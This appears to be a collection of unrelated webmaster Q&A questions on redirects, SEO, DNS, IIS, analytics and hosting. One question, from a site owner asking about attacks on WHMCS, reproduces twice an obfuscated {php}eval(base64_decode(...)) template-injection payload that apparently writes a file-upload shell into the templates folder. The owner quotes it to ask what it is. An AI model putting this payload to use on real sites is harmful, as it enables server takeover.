We are doing a new website and the current website `www.domains.com` has been running for almost 3 years and is quite visible on search engines. Now we are working on new website with multilingual features and we are also using custom cms that is developed using asp.net webform. and we have new url for which will render old url useless. for example in current website internship page can be accessed via two url `Internship` http://www.domain.com/internship/   http://www.domain.com/internship/Default.aspx and `Employment` page can also be accessed via two url http://www.domain.com/employment/   http://www.domain.com/employment/Default.aspx Now with new cms following for the above mentioned `internship` page we use following url http://www.domain.com/en/internship/1/21/internship since new website actually doen't contain folder `internship` i was thinking of creating a folder `internship` and default.aspx and make it 301 redirect from `http://www.domain.com/internship/Default.aspx` to `http://www.domain.com/en/internship/1/21/internship` is this approach correct. I looked for best approach on net and found this article which has also confused me http://moz.com/blog/save-your-website-with-redirects as it now showing any practical example. as other article save we should use 302 redirect etc... Please advise how can i make a redirect from the old website link which is `http://www.domain.com/internship/Default.aspx` TO new website link `http://www.domain.com/en/internship/1/21/internship` which basically has same contents. appreciate reply on this


Can anyone recommend a good SMS gateway for PHP?

I'm looking for an SMS gateway that has the following criteria:   * Supports sending from short codes   * Opt-in capabilities for end-user (will require user to opt in before sending message)   * Has a clean API, preferably an XML/ REST API, although SOAP is fine   * The cheaper the better Honestly, I keep searching and searching all permutations of "SMS Gateway API" etc... on Google and I can't find any great services that can support all of these criteria. There are a lot of really SEO optimized sites and I can't tell which of them are legit. I'm looking for something that will be easy and quick to implement, and none of my colleagues have any recommendations. What APIs have you used (preferably with PHP) that have gotten this job done? Which services have been the most pleasant to deal with, both technically and support-wise? **Update:** Will be sending primarily (probably solely) in the US.


IIS isn't propagating domain

I called GoDaddy and verified my settings for the two IPs as follows.               ns1.asezo.com = xx.xx.xx.15     ns2.asezo.com = xx.xx.xx.16      Then I set the NAMESERVERs of `asezo.com` to the ns1/ns2 above, which GoDaddy tech support says is right. When I try to visit my site, it says "Oops! Google Chrome could not find asezo.com". When I try to ping the website, it gives me a time out. I have the bindings in IIS for the default website as:               http - xx.xx.xx.15 - 80     www.asezo.com      and               http - xx.xx.xx.15 - 80     asezo.com      And I'm still getting nothing. I can go directly to the IP `http://xx.xx.xx.15/` and it gives me the IIS default website, I just can't get the url to propagate. What am I doing wrong?


Website caching (using DNS)

Some time ago I landed on a website that provided a paid service that caches websites. As I understood it, the only thing I needed to do was change the DNS record of my website and point it to them. Their service would check if my website is online and direct traffic to my server. In the event my server is unavailable they would provide a cached version. I'm not talking about the free publicly available Google cache/archive.org or a _dumb_ CDN solution. The problem is that I can't remember which company provided this service.


IIS7.5 + Wordpress + Restrict Access to wp-login.php by client IP address

I am moving from an Apache host to IIS. One of my sites in Wordpress (running Multi-site) which give me multiple blogs. I have moved all my rules from my .htaccess to the Microsoft URL ReWrite module. I have one section left that will not import. I want to restrict access to all instances of the file wp-login.php by Client IP address. In my .htaccess file I did the following:               <Files wp-login.php>     Order Deny,Allow     Deny from all     Allow from 192.168     </Files>      Any smart ideas on how to accompish this in IIS7.5?


Should I add rel nofollow to internal links which already have meta noindex?

Let's say I have a products page with listing producsts and the page has pagination. I would like the 1st page to have all the SE ranking weight so I decided to put `meta noindex` on the rest of the paginated pages (from page 2 to N). My common sense says that if I don't want pages to not get indexed, I shouldn't also pass link/PR juice to these pages. (Is that smart?) What happens if I set `rel="nofollow"` for all pagination links from page 2 to page N?


Is it possible to find out more information about particular visits in analytics? For example, say I'm looking at new versus returning users. I then add a secondary column of "city". Ok, now I know all new users from yesterday came from new york, for example. But what if I want to find out more information about those particular new vists from new york. Such as behaviors, technology, content. Is it possible to filter analytics to particular visits like you can filter to particular dates?


What secure domain registry services exist?

I'm using a domain registry service that only requires a username and password to log in. Are there any domain registry services that require a second factor in addition to a password?


Open Graph object type for secondary pages in local business website

I'm developping a website for a local business, and I don't know what is the most pertinent `og:type` to chose for pages like "about us", "other services", "contact us" and so on... As stated in the OG doc site for the `website` type: > This object type represents a website. It is a simple object type and uses > only common Open Graph properties. **For specific pages within a website, > the`article` object type should be used**. Should the above rule be applied also for other object types? like the `business.business` type? Should I always apply the business type for all the pages or only for the home page and switch to `article` for the the other "secondary pages"? PS. My term "secondary page" maybe is a little misguiding, since those are not "secondary" as importance but only in _"logic structure"_ , so to speak. Giving the "primary page" role to the "home" page is indeed right in a logic view, but as importance for the business maybe other pages like "services", "products", "contacts" and so on, are even more important instead of the home page that should act mostly as presentation and direct viewers to the other pages of the site.


How to execute PHP from TinyWeb

How do I set up my system to get TinyWeb to execute PHP scripts? Mongoose asked me to specify the location of `php-cgi.exe`, but I'm not sure how to do this for TinyWeb.


Duplicate Content: Who wrote it first?

I understand this question has been asked before in here ( ** _HERE_**) However, as some of you may know, technology advances quickly and it is very unstable, specially SEO. Today's practices can be completely ancient technology next month. And this question was asked back in 2010. So, with that being said,... During a research, I realized that one of my blogs has been duplicated by 7 other websites. And I'm talking about 'verbatim' duplication. period by period, comma by comma. I was going to write them all a letter but then it hit me, what if they dispute it? How can I prove that I wrote it? Is there anything out there that I can do to see were their blogs written? I was thinking about looking into the copywrite date in their footer but that can be changed.


Publishing content to different websites

I'm running a real estate website and need to publish my every content to different property listing websites through XML feed. Now my question is will Google consider this as duplicate content ? if so how should I fix this ?


Is there a point in registering my company (and my website URL) in a public company catalog for SEO?

There are many local and global company catalogs. Some of them generate info about my company automatically, some have to be manually filled out. Is there any benefit to registering and adding a link to my site in them? Will I get some juice? Do these catalogs even have any juice?


Should WHMCS hacking attemps that never succeed be important to me?

I have WHMCS and I use it with no problem for my hosting purposes. Almost every 2 or 3 days, I can see a spam with malicious content submitted as a new ticket that tries to hack. The last one was: Subject:               {php}eval(base64_decode('JGNvZGUgPSBiYXNlNjRfZGVjb 2RlKCJQRDl3YUhBTkNtVmphRzhnSnp4bWIzSnRJR0ZqZEdsdmJ qMGlJaUJ0WlhSb2IyUTlJbkJ2YzNRaUlHVnVZM1I1Y0dVOUltM TFiSFJwY0dGeWRDOW1iM0p0TFdSaGRHRWlJRzVoYldVOUluVnd iRzloWkdWeUlpQnBaRDBpZFhCc2IyRmtaWElpUGljN0RRcGxZM mh2SUNjOGFXNXdkWFFnZEhsd1pUMGlabWxzWlNJZ2JtRnRaVDB pWm1sc1pTSWdjMmw2WlQwaU5UQWlQanhwYm5CMWRDQnVZVzFsU FNKZmRYQnNJaUIwZVhCbFBTSnpkV0p0YVhRaUlHbGtQU0pmZFh Cc0lpQjJZV3gxWlQwaVZYQnNiMkZrSWo0OEwyWnZjbTArSnpzT kNtbG1LQ0FrWDFCUFUxUmJKMTkxY0d3blhTQTlQU0FpVlhCc2I yRmtJaUFwSUhzTkNnbHBaaWhBWTI5d2VTZ2tYMFpKVEVWVFd5Z G1hV3hsSjExYkozUnRjRjl1WVcxbEoxMHNJQ1JmUmtsTVJWTmJ KMlpwYkdVblhWc25ibUZ0WlNkZEtTa2dleUJsWTJodklDYzhZa jVWY0d4dllXUWdVMVZMVTBWVElDRWhJVHd2WWo0OFluSStQR0p 5UGljN0lIME5DZ2xsYkhObElIc2daV05vYnlBblBHSStWWEJzY jJGa0lFZEJSMEZNSUNFaElUd3ZZajQ4WW5JK1BHSnlQaWM3SUg wTkNuME5DajgrIik7DQokZm8gPSBmb3BlbigidGVtcGxhdGVzL 2p4aC5waHAiLCJ3Iik7DQpmd3JpdGUoJGZvLCRjb2RlKTt=')) ;{/php})      Message:               {php}eval(base64_decode('JGNvZGUgPSBiYXNlNjRfZGVjb 2RlKCJQRDl3YUhBTkNtVmphRzhnSnp4bWIzSnRJR0ZqZEdsdmJ qMGlJaUJ0WlhSb2IyUTlJbkJ2YzNRaUlHVnVZM1I1Y0dVOUltM TFiSFJwY0dGeWRDOW1iM0p0TFdSaGRHRWlJRzVoYldVOUluVnd iRzloWkdWeUlpQnBaRDBpZFhCc2IyRmtaWElpUGljN0RRcGxZM mh2SUNjOGFXNXdkWFFnZEhsd1pUMGlabWxzWlNJZ2JtRnRaVDB pWm1sc1pTSWdjMmw2WlQwaU5UQWlQanhwYm5CMWRDQnVZVzFsU FNKZmRYQnNJaUIwZVhCbFBTSnpkV0p0YVhRaUlHbGtQU0pmZFh Cc0lpQjJZV3gxWlQwaVZYQnNiMkZrSWo0OEwyWnZjbTArSnpzT kNtbG1LQ0FrWDFCUFUxUmJKMTkxY0d3blhTQTlQU0FpVlhCc2I yRmtJaUFwSUhzTkNnbHBaaWhBWTI5d2VTZ2tYMFpKVEVWVFd5Z G1hV3hsSjExYkozUnRjRjl1WVcxbEoxMHNJQ1JmUmtsTVJWTmJ KMlpwYkdVblhWc25ibUZ0WlNkZEtTa2dleUJsWTJodklDYzhZa jVWY0d4dllXUWdVMVZMVTBWVElDRWhJVHd2WWo0OFluSStQR0p 5UGljN0lIME5DZ2xsYkhObElIc2daV05vYnlBblBHSStWWEJzY jJGa0lFZEJSMEZNSUNFaElUd3ZZajQ4WW5JK1BHSnlQaWM3SUg wTkNuME5DajgrIik7DQokZm8gPSBmb3BlbigidGVtcGxhdGVzL 2p4aC5waHAiLCJ3Iik7DQpmd3JpdGUoJGZvLCRjb2RlKTt=')) ;{/php})      What are these attacks? Why don't they use any other way to attack?!!! In my opinion it is obvious that a system like WHMCS will never be hacked by such a poor attempts. They should have of course used some functions like `strip_tags` and `mysql_real_escape_string` and other security functions. Would any body explain why do they always select such a poor way to attack? Don't they really know that WHMCS is stronger than these low level hacks? In fact I'd like to know that: Do these efforts differ from each other? Can they be serious? Should I be scared of these attempts?


How to confirm the Mobile Numbers of my users?

How can I confirm the Mobile Numbers of my users in order to reduce the number of scammers claiming to be in the US but who are actually in another country? A free solution would be preferred. I use PHP/MySQL.


Google Analytics: Tracking Status of profiles that have filters

## My Problem I have a main Google Analytics profile that tracks all the visits for my site. The tracking has been verified by Google for my main report and those stats are collecting correctly. I am now trying to create filtered profiles for sub-directories of my site. When I view these profiles they say " **Tracking Not Installed** ". ## My Question Why would Google verify that tracking exists for some profiles and not others? ## What I have already done   1. Made sure UA is correct   2. Checked, using firebug, that when the page is loaded `<script src="http://www.google-analytics.com/ga.js" type="text/javascript"></script>` is added to the header   3. Installed GA-Debug in chrome to make sure data is being pushed to Google   4. Checked the setup of my filters to make sure they are correct ## Possible issues   * This is a non-standard installation of GA which calls to multiple UA codes hosted as an external script   * Uses jQuery and there is more than one instance of jQuery being called   * Is working for other sites, this is just an odd case


Looking for archiver script with status

I have a shared hosting account and I want to create a zip (or another archive type) file from whole website. I asked the hosting support but they don't do this. Is there any php or Asp.Net script that creates an archive from folder that I can check the compression status, to know it is running and not frozen. My server has Windows Server 2003 and IIS6 with Plesk 8.6 Control panel.


How to add Field data in between <td> in PHP EMAILER?

I have a created a PHP form which is working fine without adding any html table on that. While I am applying Table to make the emailer better look, I am receiving email without form Field Data. How to solve this? I think the problem is between the td and /td. How to mention the field name? < td >.$name.;< /td > What is the mistake I am doing between the td's?


How do sites avoid SEO issues and legalities with subdomain unique ids?

I was looking through a few websites recently and noticed a trend I'm not sure I understand. Sites are creating unique referral URLs for customers in the form of: `http://customname.site.com` (If somebody were to use `http://www.site.com/customname` it would function the same way). I can see the sites are using 302 redirects at some point using Google Chrome then doing some sort of htaccess redirect, taking the sub domain name (custom name) and applying it as a referral parameter then keeping in session during the entire process. However, there must be thousands of these custom URLs that people are typing in. How are each one of these "sub domains" not treated as separate URLs which in turn are redirected to the same page (in short, generating tons of links all pointing to the same page which Google would normally frown upon)? Additionally, the links also appear on the site themselves as click-able links so I'm not sure how these are not tracked. Similarly, the "unique" URL is not indexed or cached in any Google search results. **How is this capability handled?**   1. I know these are 302 redirects, I can see this on the sites network flow.   2. These links do in fact appear on the page itself because in some areas (for example, the bottom of the page may say: send this page to a friend! `http://name.site.com/` which in turn would again redirect to something like `http://www.site.com?id=name` so the id value could be stored in session


Does similar Titles considered duplicates relating to SEO

I have built a testing service and I wonder if I should be concerned that search engines will consider similar titles as duplicates. For example:   1. Some URLs title can be differed from others by only one word such as "Senior" and "Junior"      * Title A: C++ Online Test for Juniors     * Title B: C++ Online Test for Seniors         2. Another example is with the "+" sign:      * Title A: C Standard Library Online Test for Seniors     * Title B: C++ Standard Library Online Test for Seniors Should I assume search engines will understand there is a difference in the titles? And the titles are not duplicated?


Requests for site not hosted on my server

I am seeing http get requests in my servers access log for a site that is not hosted on my server and also the dns records of the site do not point to my server the domain points to 3 ip addresses in china. Anyone have any ideas as to why this would happen?


What is the copyright status of user-generated content on public key servers?

I recently set up a public OpenPGP key server in the US that synchronizes with the predominant global key pool. I now have a server on my hands containing gigabytes of user-generated content (e.g. names, comments, the keys themselves, etc.). I assume based on the commonplace of such systems that I am legally permitted to distribute that content, as that is, after all, the point of a key server. But I'm not comfortable just making that assumption. Is there a definitive explanation of the content's copyright status, or at least a similar situation involving other user-generated content to which I can make reasonable comparisons? I've skimmed the web interfaces of various key servers and have found nothing to the effect of a terms of service document. Normally with this kind of question I'd ask the primary source or distributor of the data, but as this is a decentralized dataset I'm not sure where to go. I expect that other key server operators are in the same position as myself.


SMTP Email volume

My company's application has a bulk email system, all custom built, used by our clients to send emails based on opt-ins. While doing performance monitoring during some particularly large email batch sends, we noticed that there appears to be an artificial barrier caused by our current sending mechanism (phpMailer) For a brief time we re-routed our mail through a third- party SMTP service, but realized that they weren't sending any faster than we were. Now that the sending onus is back on us, we're thoroughly testing in anticipation of a number of upcoming big clients. Assuming we improve the send rate for our mailer protocol (we're considering changing altogether to SwiftMailer) I was contemplating whether or not our SMTP server might also eventually become a bottleneck. What type of throughput are you able to achieve from your SMTP server? What considerations on SMTP sending (such as authentication, packaging, etc) might I have to reconsider when doing performance tweaks?


Do meta keywords have any impact on ranking algorithms?

From what I have read, Google no longer uses meta keywords in it's ranking algorithm. Is it worth the effort to maintain meta keywords?


meta tage for SEO

> **Possible Duplicate:**   >  Are meta keywords worth the effort? Are the metatags importent for Search engines?


Are Meta Keywords Obsolete?

> **Possible Duplicate:**   >  Are meta keywords worth the effort? Creating a website for a BraodBand Company, and not too sure whether or not to go ahead and fill in the meta keywords? Are they still necessary?


Is there any lyrics meta tag when a page contains lyrics?

> **Possible Duplicate:**   >  Do meta keywords have any impact on ranking algorithms? So I created a website for a friend that has a music band and for each song we have the lyrics for it. I don't want to use the word `lyrics` (if it's not necessary) because it is pretty obvious when you're visiting the site. So my question is what should I do, from my side, to let the crawlers know that when somebody is searching for `the smallest creature reboot lyrics` his official website will appear higher? Any SEO tricks for music, bands, lyrics, etc, before the whole planet is going to start linking to his website? :)


Do keywords relate to words on your page?

I'm trying to cover 1-5 products as well as a few geographic areas on each page of our company website. But I can't list each location with each product or else I'll get a huge list and search engines may penalize me. So my question is if I had the geographic locations shown on my page that we service and then just listed products in the keyword meta would search engines rank me for each product/service in the areas listed on the page? Or would it just rank me for the product/service keyword competing with the world? So I don't want to do this: EX. "Salt Lake City Cherry Cabinets, "Sandy UT Cherry Cabinets", etc etc" I want to be able to do this, but I don't know if it'll work: EX. "dark cabinets, cherry cabinets, maple cabinets" in the meta tag and then on the page list our locations and service areas for our customers, "Salt Lake City 85747, Sandy UT 83849" And then have the keywords paired with the locations in the search engine results. I know that search engines takes the pages text into account, but will it with the information above rank me if someone typed: "Salt Lake City Cherry Cabinets"? I don't know why this question was marked a a duplicate and linked to a page saying that keywords meta tags don't matter at all, but that doesn't answer my question whatsoever.


Is HTML meta element effective to increase a site's search ranking?

> **Possible Duplicate:**   >  Do meta keywords have any impact on ranking algorithms? Some sites and web developers say that meta keywords and meta description is not important and necessary to increase search ranking of a site or to be indexed while some are say reverse. Only important thing is putting sitemap.xml file to site's root ,some say. Is meta element important for search ranking?


default namecheap "under construction" homepage and SEO

I'm currently developping a site and I already purchased the domain name on namecheap. I never asked google to index it but I just discovered that I already have a result typing site:mysite.com, because namecheap put a default webpage and google found it. My problem is that I've been told that the beginning of a site on google was important because the google bot determined if the site was updating regularly to know if it had to come back often or not, the more often being of course the best. And here I missed the beginning.   * So what should I do ?   * Am I right worrying ?   * The indexed page is non-www. When my site will be ready, should I ask google to index the www one so google does as if he never indexed it ?   * Should I somehow ask google to un-index it and re-index it when it will be ready ?


How to add Google App Script as a gadget to Google Calendar?

I created a small App Script with a small UI. Now I'd like to have it as a gadget in my Google calendar. I tried to embed a gadget with the following basic XML:               <Module>     <ModulePrefs title="Reminder" height="800"  scrolling="true"/>          <Require feature="dynamic-height"/>     <Require feature="settitle"/>     <Optional feature="maximize"/>          <Content      type="url" href="..."      />     </Module>      For the href URL I tried both the Google Site Web page with the script gadget and the direct like to the gadget published as a service. Nothing works, the UI does not appear.


How do I prevent search engines from indexing a website duplicated on a second domain?

Let's say I run a website `example.com` with a dedicated IP `A.B.C.D`. Then I find out doing a search on Google, that my website is also being indexed through a domain `A-B-C-D.example.com` (where the `A-B-C-D` is equivalent to the dedicated IP). Obviously this is seen as a duplicated content. I don't have access to that second domain so I can't get rid of it (according to support team at the hosting company, that domain was set up as "rDNS" to the dedicated IP by a third party that manages the domain). How can I stop it from being indexed in Google while my main domain still is?


What does (not provided) mean in the traffic sources section of google analytics?

I'm looking at Google Analytics for one of our sites, and I noticed that our top Keyword is   `(not provided)`. This seems like a special value of some kind, I can't imagine people typing   `(not provided)` into the search and coming up with our site. Does it mean that a large number of our site users don't use cookies? I don't understand, what does it mean?


Could Jekyll/Octopress and other static blogging engines be a good option for a heavy online magazine?

_(Disclaimer: I thought this question should be asked on SuperUser, but it seems that was not the right place. Hope this one is more appropiate.)_ I'm exploring several options for setting up a **static blogging engine** and migrating there some contents for some blogs I've got. I'd like to test the performance of these engines, and I've heard great things of Jekyll and Octopress. I wonder though if these kind of engines **would be suitable for heavy sites** , which are updated 20-30 times a day (or more) and receive a good amount of visits each day (let's put a starting hypothetical number: 1M uniques per month). WordPress is a fantastic CMS, with lots of potential on every aspect, but although there are caching plugins such as W3 Total Cache that allow certain parts of the blog/magazine to behave as static, the dependence of other parts and above all **the need to access MySQL all the time** can make the blog problematic. Given that static blogging engines don't need a database, I wonder if it would be crazy to try to adapt one of them to **publish a magazine in which all articles would be static web pages** and that would have comments based for example in Disqus. Are there technical issues with this idea? Recalling my ideas, these would be the pros and cons: **Pros**   * Everything static (except comments, Disqus there)    * No access to database, probably better load/response times **Cons**   * Not much plugins (yes, Octopress does have some)   * Customization not as easy or powerful   * Schedule posts?   * Docs and community inferior to Wordpress if you need help - one fantastic example ;)


Registering a bt domain name (bhutan)

I need to register a domain name that ends in .bt, which is Bhutan. I'm finding a few (expectedly) shady sites that offer it, including rwgusa.com. Any experience with them or anyone else that can broker an international domain name? This is for a shortener url for my business. There isn't a whole lot more detail I can add here, but because of the "quality standards" of the stackoverflow stuff, I'm having to add some drivel here. Apologies.


Restrict direct folder access via .htaccess except via specific links

I want to restrict access to a folder on my server so that visitors may only access the contents (a web application) via links in the same domain. Can I do this using .htaccess? To be clear, I simply want to prevent direct access to the contents so that visitors are routed through other pages on my website in order to get there.


Is there a way to index multiple sites at once on google

I have a site with 60 subdomains. I was wondering if there was a way to index each of the subdomans seperately but quickly.


How to create a subdomain using a script

How can one create a new subdomain using a script? Creating a new database or database table is something I'm familiar with. If this is not possible, how does About.com create all the subdomains they use. Is it manually, or some other way?


Should I strategically use NoFollow on internal links to make our indexing crawl more efficient?

We have a well designed internal linking system that makes certain no page is more than four pages deep, and the indexing process has gone well for us. However, in addition to the hierarchical page links we created to help with the crawl, many pages have links (cross-links, if you will) to other related data. For example, a person may have links to all the companies they own. The companies, though, have their pages exposed as part of the hierarchical linkage we built, meaning that there are often many routes to the same page. It seems like it would be beneficial to make all of our links that are not part of the hierarchical linkage to be "NoFollow" so the spider does not get "distracted" so to speak, at risk of hitting a page it's already visited. Clearly, the most efficient way for Google to finish its crawl would be to visit the links that are part of the hierarchy, but not click over to the cross links. However, I have two concerns:   1. Some people call what I propose PR-shaping, stating that it's a form of over optimization that Google frowns upon.   2. When the spider hits a detail page from an external link, it is nice to have it follow through on additional pages linked off of that page. Should I leave well enough alone, or **should I use "NoFollow" on the internal links to related content?**


Inline display not actually working (-fix my html- dump)

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      That is the html that basically binds the divs into one div the css is:               width:350px;     }     #row- {     width:650px;     }     #doc-girl {     display:inline;     }     #armband {     }      Now it should display the image is #doc-girl and the image in #armband next to each other, but they display like list items, can you see the problem?


Intuitive solution for a very small private video site?

I have a wordpress site for which I want to provide videos for money. I thought about using youtube: user creates an account > user pays > gets access to a private page on wordpress (with a plugin) which has youtube links > admin invites the user on the private video/videos on youtube As you can see, it's not so automatic. My problem is that the site is hosted on a shared account so I can't use a video-upload script due to limitations. I've been searching high and low but can't seem to find a cheap solution to this.


How do I forward/redirect a website from a folder in a subdomain to another server?

I have a client with a site at `subdomain.example.com/folder`. I've cloned it locally in MAMP. Once I've made some changes, I need to host it at an alternative physical server (I intend to use a dedicated server I have access to with a technical domain name currently). However, the client would like to keep the existing URL as it has been used extensively in marketing. I've done HTTP redirects and forwards and 301 redirects in the past, but I'm not sure how or even if I can do what the client wants. How can I achieve this, possibly using _.htaccess_ and DNS entries? Caveats: I can't have the site at a 3rd party domain and the client isn't able/allowed to register any additional domains.


Naming your website longname.com vs shortcatchy.net vs shortcatchy.info

I'm designing a website that will basically be a social network for sharing information. I have the domain `$$$$d.net` and the same domain `$$$$d.info` where "$$$$" is a word (that runs into the d) pertaining to the purpose of the site . The `.com` of this domain was already taken, but they've got nothing showing. They are also not ranked in Google. There is only an error showing. They don't seem to be trying to sell it either. I also have the long name of the site `$$$$------&&&&&&&&&.com` where the words "$$$$" and "&&&&&&&&&" would contribute relevant SEO to the site. In fact the word "$$$$------" would also work if a one letter spelling mistake is recognized at all by Google, which I doubt but am unsure about. But as a brandname the "$$$$------" word still works relevantly. Which do you think is a better choice to use?   * The **short catchy name** with the `.info` for relevance to information   * The `.net` which is **more familiar** than `.info` but slightly less relevant maybe. (But I think "net" as in "network" still works because as I said, it will be a social networking site.)   * The **long,`.com` domain** which has more SEO plus a pun, albeit on a spelling mistake. I know its kind of a subjective question and also hard to answer without knowing the name (which I've obfuscated because I'm only in initial design stage) but nevertheless I'm interested in what some of you guys think.


Unifying pages: 301 or canonical

I'm combining three existing urls into one.   Till now I have:   `http://mydomain.com/folder1/page1`   `http://mydomain.com/folder2/page2`   `http://mydomain.com/folder3/page3` Content from all three pages will now be combined in one url. Instead of building a new url that combines these, I will be taking one that most prominent, and put all combine it there. for the sake of the discussion it's `folder1/page1` What should I do with `folder2/page2` and `folder3/page3`? Options I've thought of:   1. 301 redirect to `/folder1/page1`   2. Canonical to `/folder1/page1`   3. Keep them as is, with just some of the content, and alert there is a unified page.


Using licensed custom fonts for commercial site

What are the legalities regarding using licensed fonts for webpages? It will be used for a for a commercial site. I do not want to get into trouble by using it without a license, (although I do hear a lot of complaints about the industry in general), but how severe are the penalties realistically?


Facebook Like button for sessions or entire conference?

I'm putting together an online conference program. The conference has hundreds of sessions. When adding a Facebook Like button, I'm trying to decide: Choice 1: **All the Like buttons should like the conference as a whole.** Pluses and minuses:   * `+` Higher like counts will seem much more impressive to viewers.   * `+` Will reach 30 likes much faster for Insight metrics   * `-` No way to Like an individual Presenter or Session Choice 2: **Individual Like buttons for each Presenter and Session.**   * `+` People are able to Like an individual Presenter or Session   * `-` Much lower like counts will not seem impressive to viewers.   * `-` Will take much longer to reach 30 likes for a specific Presenter/Session for Insight metrics Since the name of the game is high Like numbers, I'm thinking that choice 1 is the way to go: People liking the overall conference. But the purist in me would like to be able to Like a specific presenter/session. But there's no "Like related items" so I can't pass the Like juice to the individual sessions etc. Right? Advice? Thanks.


Share buttons vs sharer urls

As some people might know, adding share buttons from Facebook and Twitter can cause a page to slow down. I've seen many sites pass on the common iframe implementations that these sites offer and simply create icons that link to a sharer url for better control of page performance. http://www.facebook.com/sharer/sharer.php?u=http%3A%2F%2Fwww.cnn.com%2F&t=CNN%26s+website%27 However, I've also read that Facebook is dropping support for these links. For example, this link now redirects to the Like Button. http://www.facebook.com/facebook-widgets/share.php Here is an article noting that Facebook is deprecating/has deprecated it's share functionality and is sticking with the Like button. http://www.barbariangroup.com/posts/7544-the_facebook_share_button_has_been_deprecated_called_it I'm assuming this is the same for the sharing url. If the sharer url is no longer a reliable option, what other methods are there besides using 3rd party widgets (like Addthis)?


When creating a website, what permissions and directory structure?

I'm posing this question because I still haven't found a uniform method that I'm particularly fond of. Ideally, this combination of directory structure and permissions should suit any web server (don't assume Apache). I should also mention that I'm concerned only with *nix servers. I'm primary looking for:   * Best combination of uid/gid/other (names and octets)   * Relatively secure (doesn't have to be uber paranoid)   * Easy to use / maintain (CMS's are able to self-update, no permission issues) Just for reference, the current stack I'm working on is Ubuntu 11.04 + Nginx + php-fpm + Wordpress, although the ideal solution should work for any website


Using Google Analytics to Track Stats Only for Visitors (Not Visits) Who Converted

I'm having trouble setting up the right Google Analytics reporting for my website.   * I want to know the "Total Visits", "Pages / Visit", and "Avg. Time on Site" (I'll call these "stats" from now on) for all visitors who converted.   * A conversion occurs only when a visitor accesses a specific page on the site, "download.php". I have added a custom event to this page and used that to define a Conversion Goal in Google Analytics.   * What I need to know is the stats for all the visitors who converted, with these stats factoring in all their visits' data, not just the visit during which they converted.   * The problem is, since the link to "download.php" is sent by email after a verification process, it can come days later and it is treated as a completely separate visit.   * Furthermore, I also want to _not_ count the visit to "download.php" towards the stats, so that page could only be used to track the custom event, thereby tracking conversions. So far I've tried to use Advanced Segments, but couldn't find a way to track visitors instead of visits with conversions, which seemed to be the only option there. I appreciate any help!


Moving from http to https - Google webmaster tools | Bing webmaster tools

I'm moving from HTTP to HTTPS for my entire site. The site is currently added to Google Webmaster Tools as `www.example.com` and all the pages are indexed without using SSL. How do I go about moving to the new HTTPS URLs on Google webmaster tools? Do I just submit a updated sitemap which has the HTTPS URLs or do I add a new site as `https://www.example.com` and submit the sitemap with HTTPS urls? All current URLS are set to redirect to their HTTPS counterparts.


Old pages still appearing in Google?

Many pages that have been deleted for a long time are still appearing in Google? When I then click on them, they obviously can't be found. Am I doing something wrong/forgetting something?


Will the rest of my clients be affected if google blocks a site on the same server?

I am about to take on a client who is a mutual friend of someone I know. He has a legit business, but one of his competitors somehow complained to google and got his whole site blocked. He's starting a different venture now, but I worry - what if this happened to another site I am hosting on a vps for example. Would the fact that I have a blocked site on my server affect my other clients? Could their sites be blocked too for using the same IP address? What are the risks involved?


How to move IIS7 site from one server to another

What is the process to copy an entire .NET website from one server to another server? Both sites are running Windows Server 2008, IIS7, and SQL 2008?   * The base site is the live site   * The new site is going to be used as a development site   * The server hosting the development site has other, existing sites in IIS   * The servers are on different networks and have different internet domain names Part of this is easily done, such as copying the database and restoring it. The same can be said for the copying of the directory of files the IIS site gets pointed to -- no help needed for those tasks. After the database and files are copied over, what are the necessary steps to make the site functional on the second server?


Adwords search engine marketing (SEM) question

I have to promote this site, http://www.bulldozer-mobile.com. My site is for phone 7 application and I've just develop an application "fart and burp" for phone 7. So according to my guide I have use keyword tools (Google) to see what keywords to make ads for. I've try to search my words: phone 7 apps phone 7 app fart phone 7 fart app for phone 7 All of this is for United States and UK but all words that I search return me 0 click and 0,05$ for 1 position or at the best 13-18 click for all world. Is there a way to achieve 50 clicks a day? my budget is $70 just for start can anyone help me? thanks


Question about guest bloggers

I see more and more blogs out there with guest bloggers. What is the rationale? Is it better to have a guest blogger, be a guest blogger, or have a reciprocal arrangement? Should you limit the number of guest bloggers or seek some minimum number?


How to approach same services, multiple locations for SEO purposes?

I have a website for a company with multiple locations across a large state. Each location offers the same services. The corporate site lists all of the services offered in detail, and each location page does not. Client wants to rank for searches like 'City Name Service X.' I'm thinking of a simple 'Services' page for each location, so that the Title tag says 'City Name Service X' with some descriptive text on the page and a list of links to the corporate pages that have the full descriptions of the service. My concern is that either: 1) There won't be enough content on the page to rank for the search 2) The site will get hit with a duplicate content penalty for having 'city name service x' repeated 10 times across the site, with city name being the only thing that changes. Any suggestions on how I might approach this differently?


Google Adsense code?

The google adsense code contains a reference to a javascript file. If I have 3 ad units on a single page, can I remove this reference from the other two because it is just the same. Will it violate the "don't manipulate the code" rule of google adsense?


How to make the most of GWT's "Search queries"?

I've been looking at the "Search queries" section in Google Webmaster Tools recently, and it seems like there is a lot of potential there in finding which pages on a site need improvement. I'm trying to figure out exactly what to sort or filter on. Do I look at pages with a low average position? Low impressions but high clicks? Pages that are rising up/falling down the rankings? What is the low-hanging fruit here?


Non-direct page link behavior in website

There is a mechanism I plan to implement in one of my websites. Let's say the links in my website don't directly refer to the page they are supposed to but they all refer to a _single PHP page_ and send their unique parameters and that _single PHP page_ based on those parameters does some processing on DB and then redirects to the actual pages those were supposed to refer by using `header("Location:$_GET['page_name']");`...   * Will this mechanism be not search engine friendly or is it okay?   * Will this mechanism get me disadvantages at Google PageRank?


mailto link is a spam flag, what is the simplest way to explain this to business person

Do you agree that it is generally bad practice to include mail to links and emails in websites because of spam and the various malicious agents that search and use emails? If so how could I explain this to someone that has a website but doesn't know how to use their own cms?


Business not appearing in Google maps at all

I'm having problems with listing my business on Google Places for Business. I wish I can send you a link to my business page but can't find it even if I type on google my business address!. Anyway, the business web site associated with my Google business page is "pressurecleaningandsealing.com". I used a domain forward from a GoDaddy domain (pressurecleaningandsealing.com) to "aqua-pressure.net". I can see that the way this forwarding is done is by showing the actual page in an iFrame inside the new domain. I once did this before for another business and it worked great. It ranked up as soon as I did the forwarding from a domain that contained a couple of keywords I wanted to rank for and listed this domain on the Google Business page. The weird thing is that my business doesn't appear at all on google results when I type "pressure cleaning and sealing near cooconut creek". Almost seems like the business is being banned for some reason. I have a Google Webmaster Tools and it doesn't show any error. The domain is about 3 weeks old (the other business I mentioned above ranked up to first page the very same day I purchased the domain).


Is it possible to combine two hosts into one Google Webmaster Tools dashboard?

